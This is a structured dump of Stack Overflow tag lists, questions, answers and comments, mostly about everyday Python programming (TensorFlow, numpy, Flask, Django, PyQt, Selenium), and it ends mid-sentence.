tags question: http://stackoverflow.com/q/48748377
tags question: http://stackoverflow.com/q/48726621
tags question: http://stackoverflow.com/q/48696858
tags question: http://stackoverflow.com/q/48709893
tags question: http://stackoverflow.com/q/48766846
tags question: http://stackoverflow.com/q/48755545
tags question: http://stackoverflow.com/q/48712676
tags question: http://stackoverflow.com/q/48794808
tags question: http://stackoverflow.com/q/48705871
tags question: http://stackoverflow.com/q/48793050
tags question: http://stackoverflow.com/q/48736428
tags question: http://stackoverflow.com/q/48699954
tags question: http://stackoverflow.com/q/48735812
tags question: http://stackoverflow.com/q/48787250
tags question: http://stackoverflow.com/q/48654386
tags question: http://stackoverflow.com/q/48778031
tags question: http://stackoverflow.com/q/48733164
tags question: http://stackoverflow.com/q/48706548
tags question: http://stackoverflow.com/q/48652351
tags question: http://stackoverflow.com/q/48736651
tags question: http://stackoverflow.com/q/48734848
tags question: http://stackoverflow.com/q/48680696
tags question: http://stackoverflow.com/q/48659073
tag name: anaconda
tags question: http://stackoverflow.com/q/48718654
tags question: http://stackoverflow.com/q/48757908
tags question: http://stackoverflow.com/q/48797972
tags question: http://stackoverflow.com/q/48769103
tags question: http://stackoverflow.com/q/48788908
tags question: http://stackoverflow.com/q/48733769
tags question: http://stackoverflow.com/q/48680105
tags question: http://stackoverflow.com/q/48742044
tags question: http://stackoverflow.com/q/48647819
tags question: http://stackoverflow.com/q/48771747
tags question: http://stackoverflow.com/q/48694119
tags question: http://stackoverflow.com/q/48723417

http://stackoverflow.com/comment/84418639
comment on: http://stackoverflow.com/a/48709767
has text: Is there anyway to do it directly on the webpage without the alert. Like the web page displays a box or something of that sort. And the user can input something. And then i should be able to use something like if, else if statements.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/53525462
score: 6
downvote count: 0
has body: You need to add the 2 lines below to a new file called distutils.cfg to python/Lib/distils python installation. This will prevent "vcvarsall.bat" error or "Visual C++ requirement" error or NoneType error as seen in original question. (Assuming the "distutils.cfg" file did not exist) [build] compiler=mingw32.exe (Note: The ".exe" portion is very important here, and many other guidelines tend to leave this out!) Add patch to Python/Lib/disutils/cygwinccompiler.py. Change the get_msvcr() method, to the method seen in this file organized by myself to be python tab safe, or otherwise apply the change from the specific bug fix python page. (Note that the official page's code will yield an error if you copy it to your cygwinccompiler.py get_msvcr method, even after you remove the irrelevant plus signs, and ensure all things align. You'll need to delete the tabs, and replace them with the corresponding number of spaces.)
has comment: http://stackoverflow.com/comment/122838720
type: Answer
answers question: http://stackoverflow.com/q/48764602
upvote count: 6

http://stackoverflow.com/q/48804113
type: Question
has comment: http://stackoverflow.com/comment/84611268
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/48804314
has title: Why does my training loss oscillate while training the final layer of AlexNet with pre-trained weights?
tagged with: python
has body: I am working on texture classification and based on previous works, I am trying to modify the final layer of AlexNET to have 20 classes, and train only that layer for my multi class classification problem. I am using Tensorflow-GPU on an NVIDIA GTX 1080, Python3.6 on Ubuntu 16.04. I am using the Gradient Descent Optimiser and the class Estimator to build this. I am also using two dropout layers for regularization. Therefore, my hyper parameters are the learning rate, batch_size, and weight_decay. I have tried using batch_size of 50,100,200,weight_decays of 0.005 and 0.0005, and learning rates of 1e-3,1e-4,and 1e-5. All the training loss curves for the above values follow similar trends. My training loss curve does not monotonically decrease and instead seems to oscillate. I have provided a tensorboard visualization for learning rate=1e-5, weight decay=0.0005, and batch_size=200. Please assist in understanding what went wrong and how I could possibly rectify it. The Tensorboard Visualization for the case I specified # Create the Estimator classifier = tf.estimator.Estimator(model_fn=cnn_model) # Set up logging for predictions tensors_to_log = {"probabilities": "softmax_tensor"} logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log, every_n_iter=10) # Train the model train_input_fn = tf.estimator.inputs.numpy_input_fn(x={"x": train_data},y=train_labels,batch_size=batch_size,num_epochs=None,shuffle=True) classifier.train(input_fn=train_input_fn, steps=200000, hooks=[logging_hook]) # Evaluate the model and print results eval_input_fn = tf.estimator.inputs.numpy_input_fn( x={"x": eval_data}, y=eval_labels, num_epochs=1, shuffle=False) eval_results = classifier.evaluate(input_fn=eval_input_fn) print(eval_results) #Sections of the cnn_model #Output Config predictions = { "classes": tf.argmax(input=logits, axis=1),# Generate predictions (for PREDICT and EVAL mode) "probabilities": tf.nn.softmax(logits, name="softmax_tensor")} # Add `softmax_tensor` to the graph. …
type: UnansweredQuestion
favorite count: 0
tagged with: machine-learning
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/96394866

http://stackoverflow.com/comment/84328671
type: Comment
has text: what is the use of `- 0.5` in `(np.random.rand(10) - 0.5)` ? is it the step?
comment on: http://stackoverflow.com/a/48660308
type: AnswerComment
score: 0

http://stackoverflow.com/q/48660260
answer count: 0
has comment: http://stackoverflow.com/comment/84318113
upvote count: 1
downvote count: 1
duplicate of: http://stackoverflow.com/q/14783947
type: Question
has comment: http://stackoverflow.com/comment/84317971
tagged with: split
has body: mylist = [10, 11, 12, 801, 802, 803,820, 2000, 2010, 2020] I want it to be split into 3 sublists based on variations in values: output should be: sublist_1 = [10,11,12] sublist_2 = [801,802,803,820] sublist_3 = [2000,2010,2020] The numerical distance between any two of sublists should be >30, e.g. the distance between sublist_1 and sublist_2 is 800-12 = 788. But the distance with any two neighbors in a sublist should be &lt;20, e.g. in sublist_2, the maximum distance with any two neighours is 820-803 = 17.
linked to: http://stackoverflow.com/q/10016802
score: 0
has comment: http://stackoverflow.com/comment/84318686
linked to: http://stackoverflow.com/q/14783947
has comment: http://stackoverflow.com/comment/84373730
has title: how to split a list of numbers into sub lists based on values in python?
has comment: http://stackoverflow.com/comment/84372433
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84390460
has comment: http://stackoverflow.com/comment/84318011
tagged with: python
has comment: http://stackoverflow.com/comment/84319179
tagged with: list
has comment: http://stackoverflow.com/comment/84331641

http://stackoverflow.com/comment/84495753
type: QuestionComment
has text: @Evert Apologies for misunderstanding, doesn't that make iterator memory efficient? but i wonder, does it affect time efficiency?
comment on: http://stackoverflow.com/q/48747318
score: 0
type: Comment

http://stackoverflow.com/a/48798660
upvote count: 1
type: AcceptedAnswer
has body: You forgot to tell the canvas that it should do something when a key is pressed. You may use matplotlib to do so, self.cid = self.mpl_connect("key_press_event", self.process_key) To get rid of the error, consider the error message. "canvas" has no attribute canvas is telling you that the canvas does not have itself as attribute. Hence self.setFocusPolicy(QtCore.Qt.ClickFocus) self.setFocus()
type: Answer
has comment: http://stackoverflow.com/comment/84676373
downvote count: 0
answers question: http://stackoverflow.com/q/48790750
score: 1
accepted answer of: http://stackoverflow.com/q/48790750

http://stackoverflow.com/comment/84350016
has text: Assumes there is always a 'singlet', which may not always be the case. Why not iterate on the counter items and pick the first item with a count of 1.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48675759
type: AnswerComment

http://stackoverflow.com/comment/84512359
score: 0
type: Comment
type: QuestionComment
has text: @eyllanesc please check edit.
comment on: http://stackoverflow.com/q/48753154

http://stackoverflow.com/comment/85129689
score: 0
type: Comment
has text: max9111, thanks your test codes here, but I found this line couldn't run on my platform. dset_train_bottle = f.create_dataset("train_bottle", shape=train_shape,dtype=np.float32,chunks=(10, 10, 10, 2048),compression=32001,compression_opts=(0, 0, 0, 0, 9, 1, 1), shuffle=False) after I changed the "compression=32001" to "compression=32000", it could work, I don't know why.
type: AnswerComment
comment on: http://stackoverflow.com/a/48997927

cryptprotectdata
tag name: cryptprotectdata
type: Tag
tags question: http://stackoverflow.com/q/48675338

http://stackoverflow.com/comment/84562696
comment on: http://stackoverflow.com/a/48780446
score: 0
type: AnswerComment
type: Comment
has text: @Blake Please show a simple example, not a link. Links break and the question won't be useful to future viewers. See [mcve] guidelines. To add code, cut-n-paste into the question, highlight it, and use the `{}` button to format as code.

http://stackoverflow.com/q/48729156
has comment: http://stackoverflow.com/comment/84457529
has comment: http://stackoverflow.com/comment/84457394
possible better answer: http://stackoverflow.com/a/48729291
type: Question
has title: How to share values between functions in Python?
has answer: http://stackoverflow.com/a/48729291
tagged with: python
has comment: http://stackoverflow.com/comment/84457386
accepted answer: http://stackoverflow.com/a/48729193
score: 0
answer count: 3
tagged with: global-variables
has body: I have the following 2 functions: a = 20 b = 45 def function1(): coin = np.random.randint(0, 100) a2= a+coin return a2 def function2(): b2= b+coin return b2 However, my problem here is as follows: I want to use the randomly selected 'coin' value (determined in function 1) inside function 2. The condition here is that the random selection must always be done in function 1. What is the most efficient way to pass this coin value to function 2 without having to call function 1 inside function 2? NOTE: function 1 should only return one variable which is a2.
linked to: http://stackoverflow.com/q/48729945
has answer: http://stackoverflow.com/a/48729436
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48729193

http://stackoverflow.com/q/48730505
tagged with: flask
favorite count: 0
upvote count: 3
tagged with: python
has answer: http://stackoverflow.com/a/48730861
has body: I need to change value of variable login_status in base html template, which is used for every html page in web application. Tech: jinja2, python. If login into personal account is successful, then login_status got string value 'logout', if not - 'login'. But correct change happens only in one page of personal account, when I jump to another pages this variable does not change and has default value. Please help me to handle this, show the way to change this variable on every html page. Thank you! base.html &lt;li class="in"&gt;&lt;/li&gt; &lt;form name="form_in" method = 'post' action = '/personal_account'&gt; &lt;input type="text" placeholder="Login" id="log" name="login"/&gt; &lt;input type="password" placeholder="Password" id="pass" name="password"/&gt; &lt;input type="submit"/&gt; &lt;/form&gt; python function @app.route('/personal_account', methods=['POST']) def welcome(): login = request.form['login'] password = request.form['password'] login_status = u'logout' if not validate_user(login, password): login_status = u'login' return u'Incorrect login!', login_status data = get_user_data(login) return render_template('private.html', data=data, login_status=login_status) EDIT ONE I would like to check the user's status just once, then save it and walk through pages of my application without sending check request to server each time I change html-page. The click event on the button "exit" causes changing user's status. Is it possible to do that? And if so then how?
downvote count: 0
type: UnansweredQuestion
tagged with: jinja2
has comment: http://stackoverflow.com/comment/84461683
score: 3
has title: Changing variable value in base html template
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/84460729

http://stackoverflow.com/q/48675419
has comment: http://stackoverflow.com/comment/84349423
downvote count: 2
answer count: 1
has body: I am working on a problem which requires me to independently change the value of a dictionary in python. The code is like below g = 1 # a variable for j in lst1: dictionary = fo_1(j) # a function to update the dictinary for key in dictionary: # need to proccess in parallel dictionary[key] = fo_2(dictionary[key], key, j, g) As you can see, each time when the fo_2 is called, we only access one value by key and modify it in dictionary.
score: 0
tagged with: python
tagged with: dictionary
linked to: http://stackoverflow.com/q/6953351
has answer: http://stackoverflow.com/a/48675570
favorite count: 0
has title: parallel for loop to independently modify a dictionary in Python
type: UnansweredQuestion
tagged with: multithreading
linked to: http://stackoverflow.com/q/1294382
type: Question
upvote count: 2

http://stackoverflow.com/q/48777070
score: 1
has answer: http://stackoverflow.com/a/48777344
accepted answer: http://stackoverflow.com/a/48777344
linked to: http://stackoverflow.com/q/601300
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/84555803
has answer: http://stackoverflow.com/a/48777409
has body: import pypyodbc as pyodbc model_name = 'test' model_name1 = Master_Cursor.execute("select col1,col2,col3 from tablename where col3 like '%s' order by col3" %(model_name)).fetchall() above code returns one record matching model_name = test. How would I get back other records having model_name=123test123,abctestabc,ABCtestABC etc?? Basically, looking for select col1,col2,col3 from tablename where col3 like '%test%'.
favorite count: 0
tagged with: pypyodbc
tagged with: python
linked to: http://stackoverflow.com/q/24373806
linked to: http://stackoverflow.com/q/10678229
has comment: http://stackoverflow.com/comment/84555937
has comment: http://stackoverflow.com/comment/84555872
downvote count: 0
has title: Using % in like clause of select statement in python
has answer: http://stackoverflow.com/a/62393618
possible better answer: http://stackoverflow.com/a/48777409
has comment: http://stackoverflow.com/comment/84555957
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84556089
has comment: http://stackoverflow.com/comment/84556075
has comment: http://stackoverflow.com/comment/84555827

http://stackoverflow.com/comment/84477953
type: Comment
score: 1
has text: If see `ext = os.path.splitext(fpath)[-1]`, I know exactly what you're doing, even if I don't know the contents of `fpath`. If I see `ext = re.sub(r'.*\.', '.', fpath)`, there's nothing there that tells me that you're dealing with filenames, and while it's a simple regular expression it's not as immediately obvious as the path operation.
type: QuestionComment
comment on: http://stackoverflow.com/q/48739137

http://stackoverflow.com/a/48692193
has comment: http://stackoverflow.com/comment/84421240
has body: Since you've found already an answer for the first part of your question in the thread numpy-concatenate-2d-arrays-with-1d-array, I'll address the second question: How do I truncate/delete the last few rows of A so that both A and B have same shapes like (8399,) and (8399, 21) . Please advise. You can slice a numpy array like you would slice a list. So to trim a 2D-array B to the size of A along axis 0. B = B[:A.shape[0],:] This trims the end of the array. If you want to trim at the beginning, i.e. throw away the first few rows that don't fit into shape instead of the last: B = B[-A.shape[0]:,:] EDIT: Your comment implies that you don't know in advance which of the arrays is longer. In that case: trim = min(A.shape[0], B.shape[0]) A = A[:trim] B = B[:trim,:] or respectively trim = min(A.shape[0], B.shape[0]) A = A[-trim:] B = B[-trim:,:]
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84421038
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84437743
answers question: http://stackoverflow.com/q/48676461
has comment: http://stackoverflow.com/comment/84406417
has comment: http://stackoverflow.com/comment/84395401
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48676461
has comment: http://stackoverflow.com/comment/84393109
has comment: http://stackoverflow.com/comment/84421756
type: Answer

http://stackoverflow.com/q/48803485
score: 1
linked to: http://stackoverflow.com/q/48234032
type: Question
downvote count: 0
tagged with: f2py
has body: I have translated an application from Fortran to Python / NumPy, and want to test consistency between the Python and Fortran implementations. The Fortran code exposes an interface via f2py, so I can import and call the Fortran routines from Python just fine. The problem arises when running several tests back-to-back. The Fortran code is not entirely stateless, and uses some allocatable arrays, so running the same code twice usually outright fails or leads to different results. I tried importing the Fortran library in a different process and communicate to the main process via multiprocessing.managers.BaseManager, but it leaks memory (seems like the memory used by the communicated objects isn't freed). I could run every test in a separate process, but I have yet to find a clean way to do so with pytest. Hence, my question: Is there a way to force-reload a shared Fortran library, or alternatively, a clean way to run every test in a separate process with assertions, backtraces etc. still working nicely? If at all possible I would not like to touch the Fortran code in question.
has answer: http://stackoverflow.com/a/49008839
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84626809
favorite count: 0
accepted answer: http://stackoverflow.com/a/49008839
has title: Reload shared Fortran library in Python tests
tagged with: fortran
upvote count: 1
type: AnsweredQuestion
tagged with: pytest
has comment: http://stackoverflow.com/comment/84610786

http://stackoverflow.com/a/48715727
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84431374
answers question: http://stackoverflow.com/q/48715617
downvote count: 0
has body: You're trying to reach the end of the structure, then extend it. The problem is that your loop runs you off the end. None is a constant; you cannot change its value. Instead, stop at the last node: while ptr['next'] is not None: ptr = ptr['next'] # ptr is now the last node in the sequence. ptr['next'] = {'data':value,'next':None} Note also that is and is not are better was to check against None. The reasons for this are available in many other postings.

http://stackoverflow.com/q/48764205
tagged with: seaborn
tagged with: python
has body: To my understanding seaborn regression always come with the confidence band (the dashed band in the sketch below). I would love to see a function that computes prediction bands in seaborn (the dotted band in the plot). Is there such an option?
score: 2
type: AnsweredQuestion
type: Question
upvote count: 2
has title: Does seaborn compute prediction (NOT confidence) bands?
downvote count: 0
favorite count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48773943
accepted answer: http://stackoverflow.com/a/48773943

http://stackoverflow.com/comment/84309167
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48655372
has text: Possible duplicate of [Cannot run escaped Windows command line on python](https://stackoverflow.com/questions/32448153/cannot-run-escaped-windows-command-line-on-python)

http://stackoverflow.com/comment/84574280
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48786323
has text: I have checked the index string[0][0], it shows value 'SMC/BTC' but when i apply partition, it shows me the above mentioned error
score: 0

http://stackoverflow.com/comment/84452277
comment on: http://stackoverflow.com/q/48724449
score: 0
has text: What is `iterator`? `nditer` is not an easy thing to use, and does not offer any performance value when used in Python code. You need to read the tutorial page all the way through to `cython` example.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84334773
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48668311
has text: how do i fix it then
type: AnswerComment

http://stackoverflow.com/comment/84390392
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48695791
has text: It checks the *truthiness* of the expression.
score: 2

http://stackoverflow.com/comment/92763582
type: Comment
type: QuestionComment
score: 0
has text: JoshMC , Can you please share the path to link to Java-all and any implementation method in python if you have?
comment on: http://stackoverflow.com/q/48696000

http://stackoverflow.com/a/48769301
score: 2
upvote count: 2
type: AcceptedAnswer
has body: You probably want something like this: x = int( input( 'What position do you want? ' ) ) y = 0 z = 0 while y &lt; x: if '4' in str(y): z += 1 y += 1 print (z+y) if you want to also go the additional skipped steps alternate the while with this: while y &lt; x + z: your old code wasn't working, since your loop was stuck at the moment, when it first encountered something containing the '4'. You then were not incrementing the y, which then resulted in finding the '4' over and over again while further not incrementing y.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48768862
type: Answer
answers question: http://stackoverflow.com/q/48768862

http://stackoverflow.com/a/48760875
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48760544
score: 1
has body: While you are using Opencv 2.4.13.5 , cv2.findContours only return 2 values. So you need to change like this. contours,hierarchy = cv2.findContours(im_th.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) Or you can upgrade to Opencv 3.x, reference
downvote count: 0

tensorflow
tags question: http://stackoverflow.com/q/48654403
tags question: http://stackoverflow.com/q/48802781
tags question: http://stackoverflow.com/q/48732540
tags question: http://stackoverflow.com/q/48757469
tags question: http://stackoverflow.com/q/48740685
tags question: http://stackoverflow.com/q/48720388
tags question: http://stackoverflow.com/q/48691464
tags question: http://stackoverflow.com/q/48670989
tags question: http://stackoverflow.com/q/48714608
tags question: http://stackoverflow.com/q/48651523
tags question: http://stackoverflow.com/q/48767565
tags question: http://stackoverflow.com/q/48710409
tags question: http://stackoverflow.com/q/48743054
tags question: http://stackoverflow.com/q/48758964
tags question: http://stackoverflow.com/q/48781730
tags question: http://stackoverflow.com/q/48720833
tags question: http://stackoverflow.com/q/48773872
tags question: http://stackoverflow.com/q/48664333
tags question: http://stackoverflow.com/q/48781682
tags question: http://stackoverflow.com/q/48757194
tags question: http://stackoverflow.com/q/48715866
tags question: http://stackoverflow.com/q/48723005
tags question: http://stackoverflow.com/q/48792485
tags question: http://stackoverflow.com/q/48725179
tags question: http://stackoverflow.com/q/48788462
tags question: http://stackoverflow.com/q/48758741
tags question: http://stackoverflow.com/q/48659449
tags question: http://stackoverflow.com/q/48787340
tags question: http://stackoverflow.com/q/48778111
tags question: http://stackoverflow.com/q/48788708
tags question: http://stackoverflow.com/q/48723470
tags question: http://stackoverflow.com/q/48795950
tags question: http://stackoverflow.com/q/48787465
tags question: http://stackoverflow.com/q/48656317
tags question: http://stackoverflow.com/q/48664649
tags question: http://stackoverflow.com/q/48738754
tags question: http://stackoverflow.com/q/48735135
tags question: http://stackoverflow.com/q/48746829
tags question: http://stackoverflow.com/q/48686528
tags question: http://stackoverflow.com/q/48648240
tags question: http://stackoverflow.com/q/48789532
tags question: http://stackoverflow.com/q/48771136
tags question: http://stackoverflow.com/q/48699954
tags question: http://stackoverflow.com/q/48699523
tags question: http://stackoverflow.com/q/48750358
tags question: http://stackoverflow.com/q/48693587
tags question: http://stackoverflow.com/q/48798724
tags question: http://stackoverflow.com/q/48717512
tags question: http://stackoverflow.com/q/48651439
tags question: http://stackoverflow.com/q/48801831
tags question: http://stackoverflow.com/q/48788991
tags question: http://stackoverflow.com/q/48707238
tag name: tensorflow
tags question: http://stackoverflow.com/q/48675097
tags question: http://stackoverflow.com/q/48674588
tags question: http://stackoverflow.com/q/48737869
tags question: http://stackoverflow.com/q/48733989
tags question: http://stackoverflow.com/q/48788169
tags question: http://stackoverflow.com/q/48760472
tags question: http://stackoverflow.com/q/48691254
tags question: http://stackoverflow.com/q/48778031
tags question: http://stackoverflow.com/q/48749515
tags question: http://stackoverflow.com/q/48744890
tags question: http://stackoverflow.com/q/48787714
tags question: http://stackoverflow.com/q/48701789
tags question: http://stackoverflow.com/q/48783798
tags question: http://stackoverflow.com/q/48709128
tags question: http://stackoverflow.com/q/48795388
tags question: http://stackoverflow.com/q/48704369
tags question: http://stackoverflow.com/q/48794714
tags question: http://stackoverflow.com/q/48721620
tags question: http://stackoverflow.com/q/48650889
tags question: http://stackoverflow.com/q/48717876
tags question: http://stackoverflow.com/q/48648816
tags question: http://stackoverflow.com/q/48719569
tags question: http://stackoverflow.com/q/48667027
tags question: http://stackoverflow.com/q/48708980
tags question: http://stackoverflow.com/q/48756583
tags question: http://stackoverflow.com/q/48680607
tags question: http://stackoverflow.com/q/48694436

http://stackoverflow.com/q/48777369
tagged with: flask
favorite count: 0
type: Question
has title: How can I send data from JavaScript to Python
tagged with: python
upvote count: 2
score: 0
downvote count: 2
linked to: http://stackoverflow.com/q/5570747
has body: I'm working on a project for school : webapp using python. I'm using FLASK, and by the help of render_template I was able to send data from Python then get it on the other hand (on HTML). I executed some JavaScript that holds some variables, and what I'm looking for is to how to send these variables from this JavaScript script to Python.
has comment: http://stackoverflow.com/comment/84602906
duplicate of: http://stackoverflow.com/q/5570747
linked to: http://stackoverflow.com/q/43645790
has comment: http://stackoverflow.com/comment/84556609
tagged with: javascript
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/20001229
linked to: http://stackoverflow.com/q/10313001
answer count: 0

http://stackoverflow.com/a/48684667
has body: Your smoothed data has no zeros left: import numpy as np def smooth(y, box_pts): box = np.ones(box_pts)/box_pts print(box) y_smooth = np.convolve(y, box, mode='same') return y_smooth mydata = [0.0, 0.0, 0.0, 0.0,-0.2, 0.143, 0.0, 0.22, 0.135, 0.44, 0.1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.33, 0.65, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0] y_smooth = smooth(mydata, 27) print(y_smooth) Output: [ 0.0469 0.0519 0.0519 0.0519 0.0519 0.0519 0.0519 0.0519 0.0519 0.0519 0.0684 0.1009 0.1119 0.1119 0.1119 0.1119 0.10475 0.10475 0.09375 0.087 0.065 0.06 0.06 0.06 0.06 0.06 0.06 ] A way to find it in your original data would be: def findGroups(data, minGrpSize=1): startpos = -1 endpos = -1 pospos = [] for idx,v in enumerate(mydata): if v &gt; 0 and startpos == -1: startpos = idx elif v == 0.0: if startpos &gt; -1: if idx &lt; (len(mydata)-1) and mydata[idx+1] != 0.0: pass # ignore one 0.0 in a run else: endpos = idx if startpos &gt; -1: if endpos &gt;-1 or idx == len(mydata)-1: # both set or last one if (endpos - startpos) &gt;= minGrpSize: pospos.append((startpos,endpos)) startpos = -1 endpos = -1 return pospos pos = findGroups(mydata,1) print(*map(lambda x: sum(x) // len(x), pos)) pos = findGroups(mydata,3) print(*map(lambda x: sum(x) // len(x), pos)) pos = findGroups(mydata,5) print(*map(lambda x: sum(x) // len(x), pos)) Output: 8 20 8 20 8
has comment: http://stackoverflow.com/comment/84368794
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/48683230
score: 2
downvote count: 0

http://stackoverflow.com/q/48708492
has title: QTextEditor has no attribute related to text
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48709328
upvote count: 1
has body: I'm new to working with python and even more new to working with PyQt4. I created this GUI using QT designer I converted the file from .ui to a .py file already. The problem I'm running into though is that in my code it is not grabbing the data that the user inputs in the first texteditor box instead I'm getting this error message. I also looked up the .plainText and tried to use that as well, but I could not get that working either. import sys from Calculator import * class Calc(QtGui.QMainWindow): def __init__(self, parent = None): QtGui.QWidget.__init__(self, parent) self.ui = Ui_MainWindow() self.ui.setupUi(self) QtCore.QObject.connect(self.ui.calc_payment, QtCore.SIGNAL('clicked()'), self.calculate) def calculate(self): if len(self.ui.Mortgage_value.text())!=0: q = int(self.ui.Mortgage_value.text()) else: q = 0 if len(self.ui.tax_rate.text())!=0: r = int(self.ui.tax_rate.text()) else: r = 0 if len(self.ui.years.text())!=0: y = int(self.ui.years.text()) else: y = 0 taxrate = r / 12 time = y * 12 total = q / ((1 - ((1 + r)**-y))/ r) #if (calc_payment == 'clicked()'):#test self.ui.results_window.setText("Monthly Payment: " +int(total))#was str if __name__ == "__main__": app = QtGui.QApplication(sys.argv) myapp = Calc() myapp.show() sys.exit(app.exec_()) I appreciate all input that is given. Thank you.
type: Question
tagged with: pyqt
tagged with: pyqt4
downvote count: 0
answer count: 1
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48709328

http://stackoverflow.com/a/48665586
downvote count: 0
answers question: http://stackoverflow.com/q/48663854
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84329022
upvote count: 2
has body: Actions will only work if the view defines a get_serializer. You need to define it so you can benefit from the automatic schema generation and return a SnippetSerializer instance. Refer to generic views to see an implementation example.
accepted answer of: http://stackoverflow.com/q/48663854
type: AcceptedAnswer

http://stackoverflow.com/q/48654427
type: Question
has answer: http://stackoverflow.com/a/48802883
upvote count: 6
linked to: http://stackoverflow.com/q/33983860
has answer: http://stackoverflow.com/a/75756753
has body: var driverService = ChromeDriverService.CreateDefaultService(); driverService.HideCommandPromptWindow = true; var driver = new ChromeDriver(driverService, new ChromeOptions()); Is it possible to achieve this in Python? I've tried all the possible fixes posted here on StackoverFlow and outside, but nothing when I run my .exe, the cmd appears too. Python 3.6, latest Selenium version (3.9).
has answer: http://stackoverflow.com/a/71093123
has title: Hide command prompt in Selenium ChromeDriver
favorite count: 0
has comment: http://stackoverflow.com/comment/125672905
tagged with: python
answer count: 4
tagged with: selenium-webdriver
downvote count: 0
type: UnansweredQuestion
tagged with: selenium
score: 6
has answer: http://stackoverflow.com/a/57576892
linked to: http://stackoverflow.com/q/46520823
has comment: http://stackoverflow.com/comment/84673623

http://stackoverflow.com/a/48799784
upvote count: 6
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48799698
type: Answer
answers question: http://stackoverflow.com/q/48799698
score: 6
has body: You can just do a nested list comprehension: theList = [[1,2,3],[4,5,6],[7,8,9]] [[x if x % 2 else 'hey' for x in sl] for sl in theList] returns [[1, 'hey', 3], ['hey', 5, 'hey'], [7, 'hey', 9]]
type: AcceptedAnswer

http://stackoverflow.com/a/48792490
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48752594
has body: Okay, this is solved. I was using Python 3.5 and the Django test server, erroneously thinking TensorFlow only supported &lt;= 3.5.x. When moving the app to a Heroku production server (to see if that would react differently), I had to bake a requirements.txt file and in doing so I figured out I could indeed use the latest Python version, 3.6.4. Switching to that version made the Django test server start receiving requests properly. I still need a whole mess of boundary generation string building code, but it actually works!

http://stackoverflow.com/comment/84608543
type: AnswerComment
has text: This ignores the conversion to upper case, and adds `^` where not needed.
score: 0
comment on: http://stackoverflow.com/a/48802956
type: Comment

http://stackoverflow.com/comment/131282760
has text: @SimonFakir There might be several conflicting copy of "min()". Therefore, I have to remove it manually in my last trail. If you can't find it, that's fine. Congratulations, no conflict!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/66379791
type: Comment

multidimensional-array
tags question: http://stackoverflow.com/q/48721469
tags question: http://stackoverflow.com/q/48776305
tags question: http://stackoverflow.com/q/48657821
tags question: http://stackoverflow.com/q/48728626
tags question: http://stackoverflow.com/q/48771721
type: Tag
tags question: http://stackoverflow.com/q/48785425
tags question: http://stackoverflow.com/q/48661907
tags question: http://stackoverflow.com/q/48742149
tag name: multidimensional-array
tags question: http://stackoverflow.com/q/48707834

http://stackoverflow.com/q/48693930
tagged with: python
type: AnsweredQuestion
downvote count: 2
type: Question
has title: Getting empty string while trying to read first byte of bitcoin block
has answer: http://stackoverflow.com/a/48693955
score: -2
tagged with: bitcoin
upvote count: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48693955
has body: I've downloaded a block named blk00000.dat from https://github.com/bitcoin-abe/bitcoin-abe/blob/master/test/btc200/blocks/blk00000.dat I've written the following code to read first byte of the file but I am getting an empty sting. What's that I am doing wrong? f = open('blk00000.dat') byte1 = f.read(1) print byte1

http://stackoverflow.com/comment/84427622
type: AnswerComment
comment on: http://stackoverflow.com/a/48694855
type: Comment
has text: I edited the part that confused me. Let me know if that’s ok!
score: 0

http://stackoverflow.com/q/48721942
tagged with: python
score: 2
has answer: http://stackoverflow.com/a/48722320
tagged with: django-forms
type: Question
has body: I search Django-way to do some non tipical feature (I think). My env is Django 2.0.2, PostgreSQL 9.6 and Python 3.6.4. So, I have model and form like: # ./app/models.py from users.models import User # custom user model class SubscribeModel(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) phone = models.CharField(max_length=80) # ./app/forms.py class SubscribeForm(forms.Form): phone = forms.EmailField(label='Phone Number', max_length=100) Also, my view for this model like: # ./app/views.py from django.contrib.auth.mixins import LoginRequiredMixin from users.models import User class SubscribeView(LoginRequiredMixin, View): login_url = '/login/' redirect_field_name = 'redirect_to' template_name = 'app/subscribe.html' form_class = SubscribeForm def post(self, request): user = get_object_or_404(User, id=request.user.id) form = self.form_class(request.POST, instance=user) if form.is_valid(): form.save() return redirect('/') return render(request, self.template_name, {'client': user, 'form': form}) Would be great to understand what to do that logic after save form: Anonymous user fill the form and click Save; He is redirecting to login page (because LoginRequiredMixin); After enter to the site, all data which he filled — saved to his account (automatically). This feature we can see when online shopping: we choose goods, add to our cart and only later, site ask us for login to site, if we are not (for save our order). I think, my question solve saving data to request.session and re-save to DB after logged in, but I have no idea how to do that on my code and is this 